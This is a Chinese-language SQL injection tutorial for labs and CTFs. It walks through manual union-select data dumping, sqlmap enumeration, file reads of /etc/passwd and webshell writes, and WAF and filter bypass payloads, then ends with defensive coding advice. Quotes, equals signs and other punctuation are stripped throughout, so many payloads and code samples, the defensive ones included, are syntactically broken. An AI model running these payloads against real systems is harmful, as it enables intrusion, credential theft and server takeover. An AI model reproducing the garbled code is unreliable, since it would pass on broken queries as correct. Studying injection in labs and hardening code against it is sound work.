1. 从“万能密码”到深层绕过为什么SQL注入依然是头号威胁“admin or 11”这个经典的字符串相信很多刚接触Web安全的朋友都见过。它就像一个“万能钥匙”在十多年前的许多登录框里能让你绕过密码验证直接进入后台。这背后就是SQL注入最直观的体现。十几年过去了虽然开发者的安全意识普遍提升各种防护框架和WAFWeb应用防火墙层出不穷但SQL注入非但没有消失反而演化出了更多精巧、隐蔽的绕过技巧。它依然是OWASP Top 10榜单上的常客是渗透测试和CTF比赛中的必考题型更是真实攻防中导致数据泄露的“头号元凶”。为什么因为它的本质是“信任问题”。应用程序过于信任用户输入将用户可控的数据直接拼接到了数据库查询语句中从而让攻击者有机会“注入”自己的恶意逻辑改变了原有SQL语句的意图。防御方在明处攻击方在暗处只要应用程序存在一处未过滤或过滤不当的拼接点整个数据库就可能门户大开。今天我们就抛开那些泛泛而谈的概念深入到SQL注入攻防的“巷战”层面从零基础的手工探测开始一步步拆解那些让WAF都头疼的绕过技巧。无论你是想入门安全测试的学生还是希望加固自己代码的开发者或是正在备战CTF的选手这篇长文都将为你提供一套从原理到实战的完整地图。我们会用到DVWA、Pikachu这些经典的靶场也会分析真实的绕过案例目标只有一个让你不仅知道怎么“注”更明白怎么“防”以及攻击者是如何“绕”的。2. 核心原理与手工注入理解攻击的起点在谈论绕过之前我们必须夯实基础理解最纯粹、最原始的手工注入过程。这就像学武术先扎马步所有的花式技巧都建立在扎实的基本功之上。手工注入能让你最直观地感受SQL语句是如何被篡改的这是任何自动化工具都无法替代的体验。2.1 注入点的探测与类型判断注入的本质是数据与指令的混淆。当用户输入被当作数据比如一个查询条件传递给数据库时一切正常。但一旦用户输入被错误地当作了指令的一部分执行注入就发生了。探测注入点最常见的方法就是插入“干扰符”观察应用程序的响应变化。最经典的干扰符就是单引号。我们在一个可能是注入点的地方比如URL参数、搜索框、登录框输入一个单引号如果页面返回了数据库错误如“You have an error in your SQL syntax”那么这里极有可能存在注入漏洞。因为单引号在SQL中用于包裹字符串我们输入的单引号会提前闭合原本的字符串导致后面多出一个单引号语法错误。判断出存在注入后紧接着就要判断注入类型这决定了我们后续Payload的构造方式。数字型注入参数直接被当作数字使用SQL语句原型可能是SELECT * FROM users WHERE id $id。测试方法输入1 and 11和1 and 12。如果前者返回正常页面因为11永真后者返回异常或空因为12永假则基本可判定为数字型注入。这里不需要闭合单引号。字符型注入参数被单双引号包裹SQL语句原型可能是SELECT * FROM users WHERE name $name。测试方法输入 and 11和 and 12。同样观察页面差异。这里我们需要先输入一个单引号来闭合原语句的前引号再构造我们的逻辑。注意在实际测试中除了and也常用or逻辑进行探测例如1 or 11可能会返回所有数据。同时要留意注释符--后面有个空格或#的使用它们可以用来注释掉原SQL语句中剩下的部分避免语法错误。例如在字符型注入中可以尝试 or 11 --。2.2 信息获取联合查询Union Select的艺术确认注入点并判断类型后下一步就是获取信息。UNION SELECT是最常用、最直接的方法。它的作用是将我们恶意查询的结果拼接到原始查询的结果后面一起返回。但使用它有几个关键前提必须满足字段数必须相同我们构造的UNION SELECT查询的列数必须和原查询的列数完全一致。否则数据库会报错。字段数据类型需兼容对应位置的数据类型最好能兼容虽然MySQL等数据库比较宽松但最好使用像NULL、数字、字符串这种通用类型。有回显位置应用程序需要将查询结果的一部分显示在页面上我们才能看到我们UNION进去的数据。确定字段数的经典方法ORDER BY递增法ORDER BY子句用于根据某一列排序。ORDER BY 1表示按第一列排序ORDER BY 2按第二列以此类推。如果指定的列号超出了实际列数数据库就会报错。我们可以利用这个特性来探测。输入1 order by 5 --页面正常。输入1 order by 6 --页面报错或异常。那么原查询的字段数就是5。确定回显点让数据“现身”知道字段数假设为3后我们使用UNION SELECT来探测哪些字段的内容会被显示在页面上。输入-1 union select 1,2,3 --这里将原查询条件设为-1一个不存在的ID确保原查询结果为空这样页面上显示的就全是我们UNION进去的内容。观察页面原本显示数据的地方可能会出现数字“2”和“3”。这意味着页面的这两个位置分别对应我们查询结果的第二列和第三列。这两个位置就是我们的“回显点”。获取数据库信息循序渐进现在我们可以把回显点比如2和3替换成我们想查询的数据库函数。当前数据库-1 union select 1, database(), 3 --在位置2显示当前数据库名。数据库版本和用户-1 union select 1, version(), user() --获取数据库版本和当前连接用户。所有数据库名-1 union select 1, group_concat(schema_name), 3 from information_schema.schemata --。information_schema是MySQL的元数据库存储了所有数据库、表、列的信息。group_concat()函数将多行结果合并成一个字符串方便查看。指定数据库的所有表名假设我们想查看数据库dvwa下的所有表。-1 union select 1, group_concat(table_name), 3 from information_schema.tables where table_schemadvwa --指定表的所有列名假设我们想查看dvwa库中users表的所有列。-1 union select 1, group_concat(column_name), 3 from information_schema.columns where table_schemadvwa and table_nameusers --拖取最终数据现在我们知道users表里有user和password列。-1 union select 1, group_concat(user), group_concat(password) from dvwa.users --这一套“标准流程”是手工注入的基石。在DVWA安全级别设为Low或Pikachu靶场的“字符型注入”、“数字型注入”关卡中你可以完美复现这个过程感受每一步的反馈。3. 自动化利器与深度利用Sqlmap实战指南手工注入能让你理解原理但在面对复杂过滤、盲注没有直接回显或者需要快速测试大量目标时自动化工具是必不可少的。Sqlmap是这方面的王者它是一个开源的渗透测试工具专门用于检测和利用SQL注入漏洞。很多人觉得Sqlmap是“黑箱工具”一键就能拖库但其实它的强大在于其高度可定制化和丰富的技巧库。3.1 基础探测与常用参数解析假设我们通过手工测试怀疑http://target.com/page.php?id1存在注入。最基本的检测命令是sqlmap -u http://target.com/page.php?id1Sqlmap会自动尝试各种Payload来检测是否存在注入点以及是什么类型的注入布尔盲注、时间盲注、报错注入、联合查询注入等。但实战中我们往往需要更精细的控制--batch以非交互模式运行所有选择都按默认来适合自动化。--level和--risk控制测试的深度和风险。Level1-5越高测试的Payload越多、越复杂。Risk1-3越高会尝试风险更高的Payload如OR型的布尔盲注可能造成大量数据返回。通常从--level 2 --risk 2开始是个不错的选择。--dbms指定后端数据库类型如--dbmsmysql可以加快检测速度。--cookie如果目标需要登录需要提供Cookie。--cookiePHPSESSIDabc123--data测试POST请求的参数。--datausernameadminpasswordpass--proxy通过代理发送请求方便调试或隐藏自身。--proxyhttp://127.0.0.1:8080可以配合Burp Suite查看具体流量。3.2 信息枚举与数据获取一旦确认注入点就可以开始系统地获取信息。获取所有数据库sqlmap -u URL --dbs获取当前数据库sqlmap -u URL --current-db获取当前数据库的所有表sqlmap -u URL -D database_name --tables获取指定表的所有列sqlmap -u URL -D database_name -T table_name --columns拖取表数据sqlmap -u URL -D database_name -T table_name -C column1,column2 --dump一个完整的实战流程可能如下# 1. 基础检测 sqlmap -u http://192.168.1.100/dvwa/vulnerabilities/sqli/?id1SubmitSubmit# --cookiesecuritylow; PHPSESSIDyour_session_id --batch # 2. 确认注入后获取数据库列表 sqlmap -u URL --cookie... --dbs # 3. 假设目标库是dvwa获取其表名 sqlmap -u URL --cookie... -D dvwa --tables # 4. 对users表感兴趣获取其列名 sqlmap -u URL --cookie... -D dvwa -T users --columns # 5. 拖取user和password列的数据 sqlmap -u URL --cookie... -D dvwa -T users -C user,password --dump实操心得使用--dump时如果表中数据是哈希密码如MD5Sqlmap会尝试自动识别并在拖库后启动内置的字典进行破解--passwords非常方便。同时强烈建议在测试时使用--proxy指向Burp Suite这样你可以清晰地看到Sqlmap发送的每一个Payload这对于学习绕过技巧和调试异常情况至关重要。3.3 高级功能文件读写与OS交互在特定条件下数据库用户权限足够secure_file_priv配置允许SQL注入的危害可以远超数据泄露升级为任意文件读取甚至命令执行。读取服务器文件利用LOAD_FILE()函数。sqlmap -u URL --file-read/etc/passwdSqlmap会自动构造类似UNION SELECT LOAD_FILE(/etc/passwd),2,3的Payload。这在CTF中经常用于读取源码index.php或Flag文件。写入WebShell利用INTO OUTFILE或INTO DUMPFILE。sqlmap -u URL --file-write/path/to/shell.php --file-dest/var/www/html/shell.php这会将本地的shell.php写入到目标服务器的Web目录下。前提是必须知道绝对路径并且有写入权限。这就是像“禅道 v8.2 - v9.2.1 SQL注入导致前台 getshell”这类漏洞的利用原理通过注入点向可访问目录写入一个WebShell从而获得服务器控制权。重要警告文件读写和命令执行属于极高风险操作严禁在未授权的情况下对任何真实目标进行测试。仅在你自己完全控制的实验环境如虚拟机、靶场中进行学习和验证。4. 现代防御下的生存之道绕过技巧详解当应用程序采用了基础防御如转义单引号、使用参数化查询或部署了WAF时前面那些“裸奔”的Payload就失效了。这时就需要各种绕过技巧。这些技巧的核心思想可以归结为让恶意Payload在到达数据库引擎执行时看起来是“合法”的但在中间所有的过滤和检测环节看起来是“无害”或“畸形”的。4.1 编码与混淆让Payload“改头换面”这是最基础的绕过方式旨在绕过简单的字符串匹配过滤。URL编码可以编码为%27空格编码为%20或。一些WAF可能只解码一次我们可以进行双重编码%27-%2527。十六进制编码将字符串转换为十六进制表示。例如SELECT可以写成0x53454c454354。在MySQL中0x开头的字符串会被解释为十六进制字符串。UNION SELECT 1,2可以写成UNION SELECT 0x31,0x32。Unicode编码/大小写变换SELECT可以写成SeLeCt、sEleCT大小写混合或者利用某些数据库的特性使用SELSELECTECT在某些简单的字符串替换过滤中如果它试图删除SELECT删除中间部分后正好又组成了SELECT。注释符穿插SQL注释符/**/可以用来拆分关键字。例如UNION SELECT可以写成UNI/**/ON SEL/**/ECT。在MySQL中/*!50000SELECT*/这种内联注释对于版本号大于等于5.00.00的数据库会执行其中的语句也可以用于绕过。4.2 等价函数与语句替换寻找“备胎”很多过滤是基于黑名单的它们会拦截union select、substring()、sleep()等常见函数。这时我们需要寻找功能相同的“备胎”。信息获取函数database()被过滤试试schema()。substring()被过滤试试mid()、substr()、left()、right()。version()被过滤试试version、GLOBAL.version。时间盲注函数sleep(5)被过滤试试benchmark(10000000, md5(test))通过执行大量计算来延时。或者pg_sleep(5)PostgreSQL。连接字符串concat()被过滤试试concat_ws(, str1, str2)或者直接用||Oracle, PostgreSQL或SQL Server。4.3 特殊场景绕过宽字节、二次注入与JSON注入这些是针对特定防御场景的高级技巧。宽字节注入主要针对PHP中使用addslashes()或mysql_real_escape_string()等函数进行转义的情况。这些函数会在单引号前加上反斜杠\变成\从而使其失去闭合作用。但如果数据库连接使用GBK、GB2312等宽字符集攻击者可以构造一个特殊字符如%df与转义添加的反斜杠%5c组合形成一个合法的宽字符如“運”从而使后面的单引号逃逸出来。Payload示例%df or 11 --。二次注入这是一种“存储型”SQL注入。应用程序在存入用户输入时进行了正确的转义但在后续的某个逻辑中又从数据库里取出了这个被转义过的数据并未经转义地拼接到了新的SQL语句中。因为存入时\被存入为\取出时还是\但拼接时这个\会被拆分成\和导致单引号生效。防御二次注入的关键在于所有从不可信源包括数据库取出的数据在拼接SQL前都必须再次进行转义或使用参数化查询。JSON注入现代API常使用JSON格式传输数据。如果后端直接拼接JSON字段到SQL语句同样会产生注入。例如{id: 1 AND ...}。绕过方式与普通注入类似但需要注意JSON格式本身的转义如双引号需写为\。4.4 WAF绕过思路利用解析差异WAFWeb应用防火墙通常作为反向代理部署在应用前面它通过规则集如正则表达式匹配请求中的恶意特征。绕过WAF的核心思路是制造“WAF看到的”和“数据库引擎解析的”之间的差异。参数污染同一个参数名出现多次如?id1id2。不同的中间件Apache, IIS, Nginx和WAF处理重复参数的逻辑可能不同。可能WAF检查第一个id1无害而应用服务器取最后一个id2恶意Payload。畸形HTTP请求请求方法混淆将GET请求的参数放到POST Body里或者反之。Content-Type混淆将application/x-www-form-urlencoded改为multipart/form-dataWAF可能无法正确解析。分块传输编码使用HTTP分块传输Transfer-Encoding: chunked将Payload拆分成多个小块可能绕过一些基于完整内容匹配的WAF。注释符与空白符滥用在Payload中大量插入注释/**/、/*!*/、%0a换行、%0b垂直制表符、%0c换页、%0d回车、%09水平制表符等非常规空白符。数据库通常会忽略它们但WAF的正则可能因此失效。示例UNION%0a/*!50000SELECT*/%0b1,2,3%0c--%0d缓冲区溢出/规则上限绕过一些老式或配置不当的WAF对单个参数长度或请求总长度有限制。可以尝试构造超长的参数使WAF的检测模块被跳过或崩溃。实操心得WAF绕过是一个动态对抗的过程没有一成不变的方法。最好的学习方式是搭建一个带有WAF的环境如ModSecurity然后用Burp Suite的Intruder模块加载各种Fuzz字典如SecLists中的Web Fuzz字典观察哪些Payload能成功触发后端响应而未被WAF拦截。同时研究特定WAF如Cloudflare, AWS WAF, 阿里云盾的公开绕过案例了解其规则特性。5. 靶场实战与CTF题目精析理论需要实践来巩固。我们结合热词中提到的几个典型靶场和CTF场景将上述技巧串联起来。5.1 DVWA与Pikachu从易到难的手工注入练习DVWA (Damn Vulnerable Web Application)Low毫无防护完美复现第2章的手工联合查询过程。Medium使用了mysql_real_escape_string()转义并改为下拉菜单POST请求。你需要用Burp Suite拦截修改POST数据。对于数字型注入转义函数无效依然可以直接注入。对于字符型可以尝试数字型注入点或宽字节注入如果数据库是GBK字符集。High在单独的输入页面输入ID然后在另一页面显示结果并使用了LIMIT 1。这增加了注入难度但可以通过UNION SELECT配合#注释掉后面的LIMIT来绕过例如1 UNION SELECT 1,2 #。Impossible使用了预编译语句参数化查询从根本上杜绝了注入。这是我们应该学习的正确防御姿势。Pikachu数字/字符/搜索型注入提供了不同类型的注入场景帮助你巩固类型判断。XX型注入模拟了其他特殊类型的注入。“Insert/Update/Delete”注入这类注入通常没有直接回显需要利用报错注入或盲注。报错注入利用数据库执行某些函数出错时会返回错误信息的特点将想要查询的数据通过错误信息带出来。常用函数updatexml()、extractvalue()、floor(rand()*2)配合group by产生的重复键错误。 示例1 and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --盲注页面没有回显也没有错误信息只能通过页面返回的“真”、“假”两种状态布尔盲注或者响应时间的长短时间盲注来推断信息。这是一个极其繁琐但必须掌握的过程通常需要借助脚本自动化。5.2 CTF题目中的SQL注入技巧与思维的结合CTFCapture The Flag中的SQL注入题往往更侧重于技巧和思维。CTFshow Web入门 SQL注入这个系列通常设计了许多过滤场景。例如可能过滤了空格、or、and、union、select等关键词甚至过滤了等号、逗号,。你需要运用本章的绕过技巧空格被过滤用/**/、%0a、%0b、括号()包裹、URL编码中的加号有时可替代空格来绕过。or/and被过滤尝试用||、替代或者用符号|、的URL编码。等号被过滤用like、rlike、regexp或者不等于配合逻辑来绕过例如 or 1 like 1 --。逗号被过滤在substr()等函数中可以用from 1 for 1替代,例如substr(database() from 1 for 1)。在union select中可以用join语法绕过例如union select * from ((select 1)a join (select 2)b join (select 3)c)。Laravel SQL 注入Laravel框架默认使用PDO参数绑定是安全的。但题目可能考察开发者错误使用raw()、DB::statement()等直接执行原生SQL的接口导致的注入。或者考察对Laravel查询构造器复杂场景下如order by后接用户输入可能产生的注入。这类题目需要你对所用框架的数据库操作API有深入了解。DC-9靶场这类综合靶场往往将SQL注入作为获取初始立足点或横向移动的手段。你可能需要通过注入获取后台管理员密码可能是哈希需要破解登录后台后再结合文件读取、命令执行等漏洞最终获取系统权限。它模拟了真实的渗透测试流程。6. 从攻击视角看防御如何编写“免疫”注入的代码了解了这么多攻击手法最终目的是为了更好的防御。所有绕过技巧在“治本”的防御措施面前都是徒劳的。6.1 根本大法参数化查询预编译语句这是唯一被广泛认可的可从根本上防止SQL注入的方法。它的原理是将SQL语句的结构模板与数据参数分开发送和解析。错误做法拼接# Python 错误示例 query SELECT * FROM users WHERE id user_input cursor.execute(query)// PHP 错误示例 $query SELECT * FROM users WHERE id $id; $result mysqli_query($conn, $query);正确做法参数化# Python 使用 ? 作为占位符 (sqlite3, MySQLdb) query SELECT * FROM users WHERE id ? cursor.execute(query, (user_input,)) # Python 使用 %s 作为占位符 (Psycopg2 for PostgreSQL) query SELECT * FROM users WHERE id %s cursor.execute(query, (user_input,))// PHP PDO $stmt $pdo-prepare(SELECT * FROM users WHERE id :id); $stmt-execute([id $id]); // PHP MySQLi $stmt $conn-prepare(SELECT * FROM users WHERE id ?); $stmt-bind_param(s, $id); // s 表示字符串类型 $stmt-execute();关键点数据库引擎会先编译带占位符的SQL模板确定执行计划。随后传入的参数无论里面包含什么、OR 11都会被严格地当作数据来处理而不会被重新解析为SQL语法的一部分。这就彻底切断了注入的可能性。6.2 辅助措施与深度防御虽然参数化查询是核心但在一些无法使用的场景如动态表名、列名或作为深度防御的一部分其他措施也有其价值。输入验证与白名单在数据进入业务逻辑前进行严格检查。对于已知有限集合如订单状态“待支付”“已发货”使用白名单只接受列表内的值。对于数字确保输入是整数使用intval()、filter_var($input, FILTER_VALIDATE_INT)。对于字符串根据业务需求限制长度、字符类型如只允许字母数字。切记验证的目的是保证数据符合业务规范不是为了防止SQL注入。注入防御主要靠参数化。最小权限原则为Web应用连接数据库的账户分配最小必要权限。通常只需要SELECT、INSERT、UPDATE、DELETE等基本DML权限绝对不要赋予DROP、CREATE、FILELOAD_FILE,INTO OUTFILE、PROCESS、SHUTDOWN等高危权限。这样即使发生注入危害也被限制在特定范围内。避免动态拼接SQL特别是表名、列名、ORDER BY子句。如果必须动态化应在代码层面做映射而不是直接拼接用户输入。// 错误做法 $order $_GET[order]; // 用户可控 $query SELECT * FROM products ORDER BY $order; // 正确做法 $allowed_orders [price, name, date]; $order in_array($_GET[order], $allowed_orders) ? $_GET[order] : id; $query SELECT * FROM products ORDER BY $order; // 此时$order来自白名单相对安全但仍非理想 // 更安全的做法是使用参数化查询但ORDER BY后的参数化语法因数据库而异有时需要结合白名单。框架与ORM的使用使用成熟的框架如Laravel的Eloquent, Django的ORM, MyBatis等并正确使用其查询构造器或ORM方法。它们通常内部实现了安全的参数化查询。但要注意如果错误使用其提供的“执行原生SQL”的接口风险依旧存在。Web应用防火墙作为最后一道防线WAF可以拦截大量已知的、模式化的攻击Payload。但它不能替代安全的代码只能作为缓解和监测手段。攻击者可能找到绕过特定WAF规则的方法。6.3 安全开发流程内嵌防御SQL注入不应是开发完成后的一次性安全检查而应融入整个开发流程。安全编码规范在团队中明确强制使用参数化查询禁止字符串拼接。代码审计与自动化扫描在代码提交CI/CD环节集成SAST静态应用安全测试工具自动检测代码中的SQL拼接风险点。定期渗透测试与漏洞扫描对线上系统进行定期的安全测试模拟攻击者行为发现潜在漏洞。SQL注入是一个古老但远未过时的漏洞。它的攻击面从简单的登录绕过发展到可与文件读写、命令执行结合的高级利用防御方也从简单的字符串过滤演进到参数化查询和深度防御体系。攻防的较量本质上是开发者对“数据”与“指令”边界理解深度的较量。对于开发者而言牢记“数据不可信”坚持使用参数化查询是从源头杜绝漏洞的唯一正途。对于安全研究者而言深入理解各种绕过技巧不是为了破坏而是为了构建更坚固的防御。在你自己搭建的靶场里尽情尝试每一种注入和绕过手法吧只有亲身体验过攻击的路径才能在设计时更好地封堵它。